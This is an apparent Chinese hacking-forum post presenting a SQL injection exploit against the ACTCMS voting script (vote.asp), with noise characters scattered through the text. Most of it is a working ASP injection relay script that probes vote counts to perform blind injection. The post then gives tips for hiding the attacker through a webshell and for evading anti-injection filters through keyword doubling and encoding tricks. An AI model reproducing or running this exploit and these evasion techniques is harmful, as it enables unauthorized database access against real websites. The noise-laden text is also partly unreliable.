, e- h9 x1 z+ S! ~- S7 V% b8 W' ~看到ninty大牛的blog的一篇文章
* }, P$ R6 n4 _6 Y# L8 J链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
: u8 S7 }4 q2 T7 W. V- g关于actcms漏洞的利用 by 3x qq:381862589
9 N2 D# S4 ?$ X/ X' Y& @* y转载请注明以上. @4 w0 c* m' O2 U* h1 u3 P
漏洞文件:/ {: P% o. P6 L# t+ a
/plus/vote/vote.asp
3 r7 a: U0 J0 t5 F" D# |% g* Y代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 7 e7 p" q: u- o* F$ J7 v7 F/ k
) P- z7 I+ q% X1 ?2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
2 P2 V9 ?$ J, z% W( u* i5 _6 z0 }7 [$ G9 e2 P; P- W: j+ m
3 response.end ( ~$ s0 N( D0 O) o3 \* t' r
/ l& H4 v% J, C
4 end if
! G6 M7 y8 b3 E9 o5 E' A: f* w; L1 [7 d4 I& e) U& f
5 for i=1 to request("voted").count ( w, ?2 F% c- z' ~% K
$ z! f) L. T9 F) V& P2 I
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) + o: C R! U1 U* b ~
8 n8 S" B g+ ?3 d, ~5 O
7 next M$ h; n* U8 R* O, o
6 [/ @5 h. \0 v% y8.... + } J9 i5 j" @3 p& F3 x. V0 y
) _* V0 l! V! R; p/ N9response.Redirect "index.asp?id="&id&""
3 g3 c3 b' z; S$ j7 r投票结束回跳转回index.asp这个投票结果页面
$ s ?! W6 ]- o( e/ Y如果投票成功票数加1
+ K9 ]6 S% J, d6 m: y9 Z* C( \0 _ 失败票数不变
F" S. S) ? b# s+ n如图:
. m- [1 q" d) b7 P, Yhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
$ {" Z4 s# H5 L/ J- j4 [1 B( f) ]
2009-12-27 13:20
E7 ~9 R& C7 g6 h; r; W8 l* @" `4 Q( k9 @9 i2 a
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了. s, }) M1 Q! N* T) M* |
8 F8 Q3 _2 j3 _! D' ~) A! r( X. p d
本帖隐藏的内容需要回复才可以浏览
; L! ?/ e! Z$ L5 F1 S我们用注入中转来实现这个注入具体代码如下:8 b- P! I0 E; \! b8 r& f0 E
先用寂寞的刺猬大牛的注入中转生成jmget.asp, I5 }' {; J+ y7 B
注入地址:http://localhost/actcms/plus/vote/vote.asp
( U3 N1 {! [" m) {) g注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项3 ?$ C% r( a+ n, k& k. ?) p& f7 ]
1 X- U" n/ |% |, O: T2 t/ ~1 h7 }
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# z4 W7 S! O% m7 N3 o; }, o9 ]! c/ _3 S% Z3 h. _; u w2 L( ~
02JmdcwName=request("jmdcw")
6 G( ?6 f/ J& i! q) o# ^, b6 X, F7 d: \. b
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] : Q" x6 V, s- u- w; D# ]) x
1 k6 V$ L/ Z" Y, i2 R+ j04JmStr="id=1&voted=-1 or 1="&JmdcwName 3 L3 j. h5 ^7 H. B
# ^5 c) B2 N4 @& U05JmStr=URLEncoding(JmStr) $ R5 d& C* v4 T7 Y9 l
: f- f2 R4 j# w2 l' n& L
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# P0 r0 ?2 }" ~+ t# J) z: Z) K+ h; L+ n( }; ~. L4 T; r
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"7 T* e V. ]7 i" W8 m
- r9 a2 N' N1 Y( E0 Q! t) W" S9 r
08testurl=testurl & "?" & JmStr 0 s. E! G* K2 x# v
2 f) |- t% X- E; A$ K/ {09JMUrl=JMUrl & "?" & JmStr
9 n+ A3 x# } o0 ?8 p. d/ b9 G
! d. u0 o7 q* H* Q* W# C10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". H1 F# O0 j- h; @
8 E' Q$ M3 j! S' @& T11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;", r# Q8 T( w; W& B/ x
& g8 d/ S* }* Y
12JmCok=replace(JmCok,chr(32),"%20") 8 {4 o" q7 p; U4 j; M* [1 r
8 a3 ?; J7 ^8 H% a, Z
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 / T; D& ^' W7 k
6 L0 I- v, V: O4 R. e
14 " }# m. h3 ~" {3 R$ Y- Y
3 ]" I; [1 e& s5 r$ P8 ], w4 b15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
+ \ j! O' h4 t9 g# ?
4 c! N3 {1 L- K# k16
# B# v ~1 C/ V0 Q0 D" N
# z I$ f+ J7 o* S9 }% q17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 5 q( Y; W W% |9 ?9 R- }
# x# [( E8 S3 n, k y8 x- L& ?! r18response.write test1&""&test2&""% m4 r, k3 o0 p5 }5 @6 y$ c! i- M m
7 u; G% Z9 B+ X N0 P2 K19
5 {8 Y5 \# |* o( Z6 I% ]
9 f! m. t; L0 I8 N6 q+ ~1 I+ i20if test1=test2 then '如前后记录相等,表示失败
. r7 o5 s( p5 y, A, x0 p! f* I8 M0 h8 U9 t. R9 l
21 response.write "failed"
6 W6 {5 J6 c4 X# x
/ Z! I' D, C" d! r22else $ r- W% V# d: G, z
- y$ Z) Q2 ?% B7 \* ~5 u23 response.write "succeed"
# \" F) A- j# b- ^+ X0 q
6 o- f. h. n' V' w( _24end if 8 E) N* s$ \/ n& P% @. l0 e5 ?
. `9 w& O& g4 S
25
( ]- S+ K) W& i& S1 |4 r v, p8 t9 I% M6 A9 A
26response.write "by 3x"
) [2 ]* d+ }5 Y4 ?4 W5 r
* g" t9 S; S! t! ?2 B2 ]27
) t+ H- [2 W; Z
( J& f1 j7 {- [# Q28 7 f* p: h" {! s+ |4 ~5 l$ }
* f# A* Q$ Z; a* M4 J: ^( H! T( ?! C29Function PostData(PostUrl,PostStr,PostCok,PostRef) w) q ]" l# k9 t
/ H: I' U F- O4 ~1 q
30Dim Http
3 ^! J+ }$ ~# M9 U1 ^
. p1 b6 r, P$ Z/ ^3 K31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
$ d% T" i/ Z. o/ f( b( ^& Y' f3 Y* Z; K( ^3 v. I% `
32With Http 5 `; |, {4 z. G: L7 U2 F
/ b" b8 ]9 ]2 \5 J2 o* P33
4 R% w) |$ J3 r% [% u0 p( V5 j+ c% E. e
34.Open "GET",PostUrl,False& f% A) T$ f' r8 h, v2 Q
# p) ^2 B% a: P+ x. G7 n
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"; U. d2 x, b) o0 j0 @/ K
& e& H; w7 v. G36.SetRequestHeader "Referer",PostRef ; o' Q+ ]; R `- S9 G% G
9 @) J& X( O3 Y) t37.SetRequestHeader "Cookie",PostCok
& p4 K6 z0 b( R, n: I, G% I5 J+ O1 x" Y7 f
38.Send ()
% {' |- K0 S" _" l5 O, J3 ?- {" C
# l3 g$ ?3 K( T; F3 K39PostData = .ResponseBody ) ^ `$ q6 N' Y1 _7 U! O* E
% D( L" [ v1 S: @ t$ M
40End With
4 b9 G! e* A: M1 q U& Y8 `0 g. s9 n9 }
41Set Http = Nothing- S+ t3 A' Z0 A5 C$ z
$ M! p- c; L2 E9 f& y" _
42PostData =bytes2BSTR(PostData)
; ^+ ~4 x, e9 T: u% N, e0 o0 E! |' m3 A$ J+ B1 y: k8 @7 |
43End Function: P& N) m1 I! Z8 H; ]- R: l* X: g
' I( @; v5 v s9 y+ p7 |3 @6 J
44 / g: k- e8 x9 m1 q
! P7 w3 _9 k4 m. b$ O9 S: }45
* p2 a' v1 ]7 r b( D' k/ X
! x) T$ \3 U' B( o5 U: s+ Y+ T% O46Function bytes2BSTR(vIn) 4 m; \' w% y5 e# I6 s; \
/ [+ ?' t6 ^) V* V( H* i, B47Dim strReturn 1 K4 r. s( N: u9 {9 x4 v) z1 r
0 ], A6 c U+ x7 T; Z, k
48Dim I, ThisCharCode, NextCharCode p% n) g, t8 h2 d) q; m5 t
) v/ U( [3 g* T1 l5 G49strReturn = ""* [2 ]" j3 v4 z
6 E1 g1 E+ `0 k) G e8 U
50For I = 1 To LenB(vIn) 4 G. @/ L. p% A
: Q- W& S- D7 V6 s% h. }% f2 y
51ThisCharCode = AscB(MidB(vIn, I, 1))
: t, O. x( x# f" j0 d2 T# c7 S5 P2 W( F" @) {
52If ThisCharCode < &H80 Then
8 n6 x& c6 x( g. E8 \
, G6 q0 o) n* y$ [1 h1 B8 V53strReturn = strReturn & Chr(ThisCharCode) 1 ` I) \: Y$ u" J
- I- ~( B) F9 z- T; S0 _9 N54Else* [5 T# {" q: g; r' ]/ h Z& c3 o
- C0 H+ M' f* U0 z* N* V
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) , |& h7 \* j" E& s$ E( Q4 `3 m
' n: D4 o5 A+ C5 x7 D: W. M# ~56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) G% Y- G0 o* F' i# x1 T1 }& Q$ R5 C7 F
57I = I + 1 $ f& ?. H! [( l C' j2 e* G C
L) T3 ]; L: X( i) d58End If# n/ T8 m% s0 ?( I0 o& [" W
6 P0 D. v- k/ n" r. d0 W
59Next& z( W5 A+ u A, B
" P4 O. d/ u6 q60bytes2BSTR = strReturn , t& w% ^$ r& }' ~7 x/ b
/ q3 \5 x' w: b( `+ P, z. t
61End Function& X+ l) I O; \4 ]$ ^) W
$ H$ L) n9 }! f( [62 q& U0 G; ], [% i, r, o l" ]
+ b0 |6 [: q/ V5 M9 o m! }2 N
63Function URLEncoding(vstrin)
$ m% L! D) @$ y9 G% l, ^ C; R. T/ o8 Z/ Y! W6 G! ?! D- G
64strReturn=""
* z! w5 l0 r7 K
% Q* v4 X& V9 {7 S$ x% _: B. ] _0 M1 k65Dim i
8 W) e: V% S' |6 \
1 C. B$ ]& [# r9 @- i# n66For i=1 To Len(vstrin) & g/ ]9 _5 e6 |1 L
0 ]+ `( ^; U& y% v. }/ @: u' ~. G% l67ThisChr=Mid(vstrin,i,1) 5 m6 X7 j: ]6 Y$ M% u c1 j9 Y
0 w8 C: b9 M% d5 i( G+ f" P
68if Abs(Asc(ThisChr))< &HFF Then' ~ ^( l: \$ E1 b1 q
$ x. G+ v7 k/ t+ u$ C69strReturn=strReturn & ThisChr
5 m' g: l1 c. T/ l/ f* u* B
% L: b u3 n( B2 Z2 D5 [$ k70Else$ I; ~5 d" _- D0 `0 [
; H3 }# c; `& J0 X( \
71InnerCode=Asc(ThisChr) 9 i* }4 a1 F( ~9 A; ^
6 E4 l+ T4 L! e R( t
72If InnerCode<0 Then
3 \8 F( X' O( t- {/ A& S3 `
+ z" {6 n% k$ [7 u73InnerCode=InnerCode + &H10000 9 }+ }% f8 t3 r/ s+ V
" a7 q# i; B* A
74End If
5 A3 K& ^3 |7 }8 i
. K9 m' s# ~' Q: z1 h5 p* V75Hight1=(InnerCode And &HFF00) \&HFF
# h/ M; y) C4 C1 h2 Z6 S' [! C
$ V: p* y. j: k1 \6 H/ H3 k4 g o' W76Low1=InnerCode And &HFF
8 n1 H) }9 m% h7 Y6 r( ~0 g9 I5 U+ k6 ~* U1 x# E- H7 ~* s/ {
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
5 p. D& i' G. X" W) {, D( J) s
! A `$ O6 V+ _" y- @. S8 s2 }78End if
( j- b, ^/ i" V! d& X8 R- t5 r, [8 r9 F# N2 q' u
79Next! v1 j0 ~$ {. f0 z1 J0 P& W4 n9 N
0 B% D6 X% o7 b6 P
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
; Q# T- w# }# D% s- S& I5 V1 t6 R; ` k4 F
81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 : O3 z% Q4 p; d( Z2 s$ G
) j6 g. Z" |2 K5 S; _% i- S82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码 ( k3 r3 ]- z* ^
% a4 s- k8 M, P83URLEncoding=strReturn
2 t1 q8 Y6 q; J, L, H& R; ?( h$ w0 H
2 T( v, z9 n- b8 Q) H84End Function8 Z4 \( C+ a {' _. z! Q& Z* C" ]
! I/ s# o; a C; i1 Y
85
! L4 z! w w( ^' I' j% q/ U ^$ a) |/ H+ Z) f5 n5 T
86function getSt(body) : `4 L9 Q8 y' b- a+ S
# q7 W. n1 Z0 S- V& F5 `% n! @87 startpot=instr(body,"投票人数:")+len("投票人数:") 6 b/ O& J$ a( Z! O ]
: c! D1 q; s" T* K$ U9 P( `) z88 endpot=instr(startpot,body," ")
% F5 s ^3 H( @5 I# `
$ V1 l3 t8 [7 D89 getSt=mid(body,startpot,endpot-startpot)
4 }) G! i# w5 u6 X5 P# J
0 F u9 O8 r0 U) W- @90end function
9 l! p" M$ w1 L e A5 v) f3 m- [7 c! ~* w
91%>9 r/ O. V% Y) \/ j
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
) Q1 e; z" H5 |( i" K9 R测试下效果:
3 [" m) f6 M9 d2 J投票成功:
4 `+ K0 C2 \+ r/ O/ H* x! Rhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
O0 U9 l i0 c1 G
) L( \+ l# _, Y2 O1 h2009-12-27 13:29" E$ s r+ _! _( e
投票失败1 p# M% V! b! Y
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 ~0 w# m9 E0 \2 S, q: L- ^" U6 P7 K
0 j2 V2 }! v, Q" z8 t [2009-12-27 13:29
6 V& ?& z; B! Z% N+ l5 S-------------------------------------------------------------------------------
?0 s- [; Y: ]" \( x# ~再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
+ \( |' |$ v; _% z很抱歉。。。只能用单线程工具去注入。。。。。$ D+ D4 v4 b: p
所以失败。。。不好意思。。。
3 c. ^. V6 N0 h; b4 l" Z0 i------------------------------------------------------------------------------- [7 w: x( U- [4 W
" G. D3 S8 U2 o7 I9 |4 r注入中转的一些其他应用( Q, D) n5 \$ E; S, A! k5 [
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了9 f% Z1 {3 j! Q4 m) T' ?
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
3 x( m3 E8 Q7 s2.post注入转成get型的注入,方便我们使用工具来跑3 R' \9 d% D: k
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")( a$ X. c, C$ [8 @1 g2 Z1 x
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
5 ]3 s& k/ x+ n6 j) L
; w4 ?: o( Q, c. ? f4 { |